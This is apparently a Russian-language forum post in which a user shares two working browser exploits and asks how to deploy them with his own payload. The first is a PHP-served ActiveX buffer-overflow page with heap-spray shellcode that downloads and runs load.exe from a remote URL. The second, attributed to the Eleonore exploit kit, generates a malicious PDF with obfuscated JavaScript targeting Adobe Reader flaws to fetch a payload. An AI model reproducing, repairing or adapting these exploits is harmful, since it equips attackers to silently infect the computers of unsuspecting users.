ActiveX Remote BOF Exploit

Discussion in 'Песочница' started by GibridMelody, 15 Oct 2011.

  1. GibridMelody

    GibridMelody Banned

    Joined:
    14 Sep 2011
    Messages:
    4
    Likes Received:
    5
    Reputations:
    13
    Нашёл на exploit-db сплойт:

    PHP:
    // 0x48k-ymj by ...
        // based on /5043
        // Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
     
     
        
    function unescape($s){
            
    $res=strtoupper(bin2hex($s));
            
    $g round(strlen($res)/4);
            if (
    $g != (strlen($res)/4))$res.="00";
            
    $out "";
            for (
    $i=0$i<strlen($res);$i+=4)$out.="%u".substr($res$i+22).substr($res$i2);
            return 
    $out;
        }
     
        echo 
    '
            <html>
            <body>
            <object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>
            <script language="JavaScript">
     
                function gsc(){
                    var hsta = 0x0c0c0c0c;
                    var plc = unescape("%u4343%u4343"+
                    "%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
                    "%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
                    "%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
                    "%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
                    "%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
                    "%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
                    "%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
                    "%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
                    "%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
                    "%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
                    "%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
                    "%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
                    "%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
                    "%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
                    "%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
                    "%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
                    "%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
                    "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
                    "%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
                    "%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
                    "%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
                    "%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
                    "%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
                    "%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
                    "%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
                    "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
                    "%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
                    "%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
                    "%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
                    "%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
                    "%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
                    "%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
                    "%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
                    "%u1011%uba10%ua3bd%ua0a2%uefa1"+
                    "'
    .unescape("http://site.come/load.exe").'");
                    var hbs=0x400000;
                    var pls=plc.length*2;
                    var sss=hbs-(pls+0x38);
                    var ss=unescape("%u0c0c%u0c0c");
                    ss=gss(ss,sss);
                    hbs=(hsta-0x400000)/hbs;
                    for(i=0;i<hbs;i++)m[i]=ss+plc;
                }
                function gss(ss,sss){
                    while(ss.length<sss*2)ss+=ss;
                    ss=ss.substring(0,sss);
                    return ss;
                }
                var m=new Array();
                gsc();
                try{
                    var tmp=gss(unescape("%u0c0c%u0c0c"),340);
                    obj.AddImage("http://"+tmp,1);
                }catch(e){}
            </script>
            </body>
            </html>
        '
    ;
     
    ?>
    Я хотел спросить у вас вы лучше меня знаете я уверен...

    PHP:
    var plc unescape("%u4343%u4343"+
                    
    "%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
                    
    "%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
                    
    "%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
                    
    "%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
                    
    "%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
                    
    "%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
                    
    "%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
                    
    "%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
                    
    "%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
                    
    "%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
                    
    "%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
                    
    "%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
                    
    "%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
                    
    "%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
                    
    "%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
                    
    "%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
                    
    "%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
                    
    "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
                    
    "%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
                    
    "%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
                    
    "%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
                    
    "%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
                    
    "%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
                    
    "%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
                    
    "%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
                    
    "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
                    
    "%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
                    
    "%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
                    
    "%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
                    
    "%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
                    
    "%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
                    
    "%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
                    
    "%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
                    
    "%u1011%uba10%ua3bd%ua0a2%uefa1"+
                    
    "'.unescape("http://site.com/load.exe").'");
    Это шел код который устонавливает load.exe в систему с сайта site. Тоесть я его залью укажу свой файл и запущу с уязвимым плагином или что там и он будет работать??
    Вот ещё хотел спросить под что он чтоб я опробывать смог... Взял отсюда http://www.exploit-db.com/exploits/5046/
    Тоесть что мне поставить подо что он??

    Вот ещё сплойт:
    Взял из элеонорки

    PHP:
    <?php

    error_reporting
    (0);

    include (
    "config.php");




    function 
    unescape($s)
    {
        
    $out "";
        
    $res=strtoupper(bin2hex($s));
        
    $g round(strlen($res)/4);
        if (
    $g != (strlen($res)/4)) $res.="00";
        for (
    $i=0$i<strlen($res);$i+=4)
            
    $out.="%u".substr($res,$i+2,2).substr($res,$i,2);
        return 
    $out;
    }

    function 
    get_random_string_array($len$c)
    {
        
    $srt_array = array();
        for (
    $a 0$a $c$a++) {
            
    $result "";
            
    $nums "1234567890";
            
    $syms "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
            
    $sux $nums.$syms;
            for (
    $i 0$i $len$i++)
            {
                
    $num rand0strlen$sux ) - );
                 
    $result .= $sux$num ];
            }
            
    $srt_array[] = $symsrand(0,strlen$syms ) - ) ].$result;
         }
         return 
    $srt_array;
    }
    $rnd_array get_random_string_array('15''30');
    $spl "?spl=pdf";
    $shellcode unescape(
    "\x64\xA1\x18\x00\x00\x00\x8B\x40\x30\x8B\x40\x54\x8B\x40\x04\x8B".
    "\x40\x04\x8B\x40\x04\x0D\x20\x00\x20\x00\x3D\x7C\x00\x77\x00\x74".
    "\x01\xC3\x33\xC0\x64\x8B\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C".
    "\xAD\x8B\x58\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x58\x3C\x6A".
    "\x4E\x5A\xD1\xE2\x2B\xE2\x8B\xEC\xC7\x45\x10\x6E\x2E\x65\x78\xC7".
    "\x45\x14\xFF\x01\x00\x00\xC7\x45\x00\x00\x00\x00\x00\xEB\x4F\x5A".
    "\x52\x83\xEA\x56\x89\x55\x18\x56\x57\x8B\x73\x3C\x8B\x74\x33\x78".
    "\x03\xF3\x56\x8B\x76\x20\x03\xF3\x33\xC9\x49\x50\x41\xAD\x33\xFF".
    "\x36\x0F\xBE\x14\x03\x38\xF2\x74\x08\xC1\xCF\x0D\x03\xFA\x40\xEB".
    "\xEF\x58\x3B\xF8\x75\xE5\x5E\x8B\x46\x24\x03\xC3\x66\x8B\x0C\x48".
    "\x8B\x56\x1C\x03\xD3\x8B\x04\x8A\x03\xC3\x5F\x5E\x50\xC3\x8D\x7D".
    "\x1C\x57\x52\xB8\x33\xCA\x8A\x5B\xE8\xA2\xFF\xFF\xFF\x32\xC0\x8B".
    "\xF7\xF2\xAE\x4F\x8B\x45\x10\xAB\x66\x98\x66\xAB\x33\xC0\xB8\x61".
    "\x64\x00\x00\x50\x68\x54\x68\x72\x65\x35\x24\x1C\x69\x74\x50\x54".
    "\x53\xB8\xAA\xFC\x0D\x7C\xFF\x55\x18\x83\xC4\x0C\x50\xB0\x6C\x8A".
    "\xE0\x98\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xB8\x8E".
    "\x4E\x0E\xEC\xFF\x55\x18\x83\xC4\x0C\x93\x50\x33\xC0\x50\x50\x56".
    "\x8B\x55\x18\x03\x55\x14\x52\x50\xB8\x36\x1A\x2F\x70\xFF\x55\x18".
    "\x5B\x83\x7D\x00\x01\x0F\x85\x9E\x00\x00\x00\x6A\x00\x68\x80\x00".
    "\x00\x00\x6A\x03\x6A\x00\x6A\x03\x68\x00\x00\x00\xC0\x56\xB8\xA5".
    "\x17\x00\x7C\xFF\x55\x18\x89\x45\x04\x6A\x04\x68\x00\x10\x00\x00".
    "\x68\x00\x00\x08\x00\x6A\x00\xB8\x54\xCA\xAF\x91\xFF\x55\x18\x89".
    "\x45\x0C\x50\x6A\x00\x8D\x4D\x08\x51\x68\x00\x00\x08\x00\x50\xFF".
    "\x75\x04\xB8\x16\x65\xFA\x10\xFF\x55\x18\x5F\x8B\x17\x83\xC7\x04".
    "\x8B\x4D\x08\x83\xE9\x04\xE8\xA7\x00\x00\x00\x6A\x00\x6A\x00\x6A".
    "\x00\xFF\x75\x04\xB8\xAC\x08\xDA\x76\xFF\x55\x18\x6A\x00\x8D\x4D".
    "\x08\x51\xFF\x75\x08\xFF\x75\x0C\x83\x04\x24\x04\xFF\x75\x04\xB8".
    "\x1F\x79\x0A\xE8\xFF\x55\x18\xFF\x75\x04\xB8\xFB\x97\xFD\x0F\xFF".
    "\x55\x18\xC7\x45\x00\x02\x00\x00\x00\x57\x56\xB8\x98\xFE\x8A\x0E".
    "\xFF\x55\x18\xEB\x2A\x18\x2A\xF9\xB7\xD2\x77\xB3\x01\x45\x8A\x92".
    "\xB7\xAD\x50\x5D\xE4\x67\xF5\xE6\xC7\x1A\xBF\xAB\x1E\x10\x42\x76".
    "\xA2\xA1\x54\x63\x09\x7B\x89\xB0\xF4\x97\x4E\x73\x93\x3F\xF1\x83".
    "\x7D\x00\x02\x74\x60\xC7\x45\x00\x01\x00\x00\x00\xC7\x45\x10\x79".
    "\x2E\x65\x78\xC7\x45\x14\x72\x01\x00\x00\x8B\x7D\x18\x03\x7D\x14".
    "\xB9\x26\x00\x00\x00\x8B\x57\xFC\xE8\x05\x00\x00\x00\xE9\x7C\xFE".
    "\xFF\xFF\x33\xC0\x8A\x07\xD2\xC8\x32\xC1\xF6\xD0\x32\xC5\x32\xC2".
    "\x32\xC6\xD2\xC0\x02\xC1\x02\xC5\x02\xC2\x02\xC6\xD2\xC8\x2A\xC1".
    "\x2A\xC5\xF6\xD0\x2A\xC2\x2A\xC6\xD2\xC0\xD3\xC2\x0F\xCA\x88\x07".
    "\x47\x49\x75\xCE\xC3\xC3".
    $url.$spl);

    $script '
    var '
    .$rnd_array[0].' = new Array();
    var '
    .$rnd_array[1].';
    function '
    .$rnd_array[2].'('.$rnd_array[3].', '.$rnd_array[4].'){while ('.$rnd_array[3].'.length * 2 < '.$rnd_array[4].'){'.$rnd_array[3].' += '.$rnd_array[3].';}'.$rnd_array[3].' = '.$rnd_array[3].'.substring(0, '.$rnd_array[4].' / 2);
      return '
    .$rnd_array[3].';}
    function '
    .$rnd_array[22].'('.$rnd_array[24].'){
    var '
    .$rnd_array[26].' = unescape("%u9090%u9090");
    var '
    .$rnd_array[23].' = '.$rnd_array[24].' - 0x700000;
    var '
    .$rnd_array[25].' = unescape("'.$shellcode.'");
    while ('
    .$rnd_array[26].'.length<slackspace) '.$rnd_array[26].'+='.$rnd_array[26].';
    '
    .$rnd_array[25].' = '.$rnd_array[24].'.substring(0, '.$rnd_array[24].');}
    function '
    .$rnd_array[5].'('.$rnd_array[6].'){
      var '
    .$rnd_array[7].' = 0x0c0c0c0c;var '.$rnd_array[8].' = unescape("'.$shellcode.'");if ('.$rnd_array[6].' == 1){'.$rnd_array[7].' = 0x30303030;'.$rnd_array[8].' = unescape("'.$shellcode.'");}
      else if ('
    .$rnd_array[6].' == 2){'.$rnd_array[8].' = unescape("'.$shellcode.'");}
      var '
    .$rnd_array[9].' = 0x400000;var '.$rnd_array[10].' = '.$rnd_array[8].'.length * 2;var '.$rnd_array[4].' = '.$rnd_array[9].' - ('.$rnd_array[10].' + 0x38);var '.$rnd_array[3].' = unescape("%u9090%u9090");'.$rnd_array[3].' = '.$rnd_array[2].'('.$rnd_array[3].', '.$rnd_array[4].');var '.$rnd_array[11].' = ('.$rnd_array[7].' - 0x400000) / '.$rnd_array[9].';for (var '.$rnd_array[12].' = 0; '.$rnd_array[12].' < '.$rnd_array[11].'; '.$rnd_array[12].' ++ ){'.$rnd_array[0].'['.$rnd_array[12].'] = '.$rnd_array[3].' + '.$rnd_array[8].';}}
    function '
    .$rnd_array[13].'(){
      var '
    .$rnd_array[14].' = 0;var '.$rnd_array[15].' = app.viewerVersion.toString();app.clearTimeOut('.$rnd_array[1].');
      if ('
    .$rnd_array[15].' < 7.1){
        '
    .$rnd_array[5].'(0);
        var '
    .$rnd_array[16].' = unescape("%u0c0c%u0c0c");while ('.$rnd_array[16].'.length < 44952)'.$rnd_array[16].' += '.$rnd_array[16].';this .collabStore = Collab.collectEmailInfo({subj : "", msg : '.$rnd_array[16].'});}
    if ('
    .$rnd_array[15].' >= 9){
        try {if (app.doc.Collab.getIcon){'
    .$rnd_array[5].'(2);var '.$rnd_array[17].' = unescape("%09");
    while ('
    .$rnd_array[17].'.length < 0x4000)'.$rnd_array[17].' += '.$rnd_array[17].';'.$rnd_array[17].' = "N." + '.$rnd_array[17].';app.doc.Collab.getIcon('.$rnd_array[17].');'.$rnd_array[14].' = 1;}else {'.$rnd_array[14].' = 1;}}catch (e){'.$rnd_array[14].' = 1;}if ('.$rnd_array[14].' == 1){if (('.$rnd_array[15].' >= 7.1&& '.$rnd_array[15].' < 9)){'.$rnd_array[5].'(1);var '.$rnd_array[18].' = "12999999999999999999";for ('.$rnd_array[19].' = 0; '.$rnd_array[19].' < 276; '.$rnd_array[19].' ++ ){'.$rnd_array[18].' += "8";}util.printf("%45000f", '.$rnd_array[18].');}}}}
    app.'
    .$rnd_array[20].' = '.$rnd_array[13].';'.$rnd_array[1].' = app.setTimeOut("app.'.$rnd_array[20].'()", 10);';



    $script base64_encode($script);
    $script base64_encode($script);
    $js_base64_decode '
    var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    function decode64(input) {
       var output = "";
       var chr1, chr2, chr3;
       var enc1, enc2, enc3, enc4;
       var i = 0;
       input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
       do {
          enc1 = keyStr.indexOf(input.charAt(i++));
          enc2 = keyStr.indexOf(input.charAt(i++));
          enc3 = keyStr.indexOf(input.charAt(i++));
          enc4 = keyStr.indexOf(input.charAt(i++));
          chr1 = (enc1 << 2) | (enc2 >> 4);
          chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
          chr3 = ((enc3 & 3) << 6) | enc4;
          output = output + String.fromCharCode(chr1);
          if (enc3 != 64) {
             output = output + String.fromCharCode(chr2);
          }
          if (enc4 != 64) {
             output = output + String.fromCharCode(chr3);
          }
       } while (i < input.length);
       return output;
    }
    var aasd = decode64("'
    .$script.'");
    eval(decode64(aasd));
    '
    ;
    $script $js_base64_decode;



    $script gzcompress($script,9);
    $pdf base64_decode("JVBERi0xLjMKJeLjz9MKMiAwIG9iago8PAovT3BlbkFjdGlvbiA8PCAvSlMgOSAwIFIgL1MgL0phdmFTY3JpcHQgPj4KL1R5cGUgL0NhdGFsb2cKL1BhZ2VzIDMgMCBSCj4+CmVuZG9iagoKMyAwIG9iago8PAovVHlwZSAvUGFnZXMKL0tpZHMgWzQgMCBSXQovQ291bnQgMQo+PgplbmRvYmoKCjQgMCBvYmoKPDwKL1R5cGUgL1BhZ2UKL1BhcmVudCAzIDAgUgo+PgplbmRvYmoKCjkgMCBvYmoKPDwvRmlsdGVyIC9GbGF0ZURlY29kZQovTGVuZ3RoIC5zY3JpcHRfbGVuLgo+PgpzdHJlYW0gCi5zY3JpcHRfYm9keS4KZW5kc3RyZWFtCmVuZG9iagoKdHJhaWxlcgo8PC9Sb290IDIgMCBSCj4+CiUlRU9G");


    $pdf str_replace(".script_len."strlen($script), $pdf);
    $pdf str_replace(".script_body." ,$script$pdf);






    header("Accept-Ranges: bytes\r\n");
    header("Content-Length: ".strlen($pdf)."\r\n");
    header("Content-Disposition: inline; filename=".$rnd_array[5].".pdf");
    header("\r\n");
    header("Content-Type: application/pdf\r\n\r\n");
    die(
    $pdf);
    ?>
    Спасибо.